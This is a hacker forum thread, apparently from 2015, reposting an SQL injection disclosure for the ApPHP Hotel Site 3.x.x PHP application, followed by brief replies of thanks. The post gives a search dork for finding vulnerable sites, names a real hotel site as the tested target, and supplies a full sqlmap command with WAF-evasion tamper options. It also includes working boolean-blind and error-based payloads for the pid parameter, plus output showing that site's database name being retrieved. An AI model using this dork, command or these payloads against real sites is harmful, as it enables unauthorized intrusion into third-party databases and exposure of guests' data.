90_ 发表于 2015-6-20 09:49:01

ApPHP Hotel Site 3.x.x注入漏洞

Description:
ApPHP Hotel Site version 3.x.x suffers from a remote SQL injection vulnerability. Note that this finding houses site-specific data.

ApPHP Hotel site SQLi Vulnerability
 
ApPHP Hotel Site is an Hotel application programs using PHP Language.
 
title : ApPHP Hotel Site v.3.x.x.
godork : ".php?pid=" "ApPHP Hotel Site"
 
Affected version : v.3.x.x
tested site : http://www.hotelbran.com/index.php?pid=%27null
python sqlmap.py -u "http://www.hotelbran.com/index.php?pid=4" --current-db --dbms=mysql --no-cast --level 3 --risk 3 --threads 5 --tamper=between,randomcase,charencode --technique=BEUS --random-agent --beep --check-waf
 
result :
sqlmap identified the following injection points with a total of 251 HTTP(s) requests:
---
Place: GET
Parameter: pid
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause
    Payload: pid=-6768' OR (8203=8203) AND 'Bjdy'='Bjdy
 
    Type: error-based
    Title: MySQL >= 5.1 AND error-based - WHERE or HAVING clause (EXTRACTVALUE)
    Payload: pid=4' AND EXTRACTVALUE(2795,CONCAT(0x5c,0x71726a6b71,(SELECT (CASE WHEN (2795=2795) THEN 1 ELSE 0 END)),0x716f777071)) AND 'Ufik'='Ufik
---
changes made by tampering scripts are not included in shown payload content(s)
the back-end DBMS is MySQL
web application technology: Apache, PHP 5.4.41
back-end DBMS: MySQL 5.1
fetching current database
retrieved: hotelbra_db
current database:    'hotelbra_db'
 
 
+ Credits :
all of pemancing ghalau.... /^wishnusakti

wtsqq123 发表于 2015-6-27 08:22:54

还是不错的哦，顶了

ayang 发表于 2015-6-27 12:04:18

Jack-5 发表于 2015-6-27 14:30:15

xiaoqqf4 发表于 2015-6-27 15:27:23

支持中国红客联盟(ihonker.org)

perble 发表于 2015-6-28 06:07:14

感谢楼主的分享~

小路 发表于 2015-6-29 20:45:40

admin1964 发表于 2015-6-30 02:00:58

还是不错的哦，顶了

arctic 发表于 2015-6-30 16:14:38

学习学习技术，加油！

Jack-5 发表于 2015-6-30 22:10:04

支持中国红客联盟(ihonker.org)
页: [1] 2 3 4 5 6 7 8 9 10
查看完整版本: ApPHP Hotel Site 3.x.x注入漏洞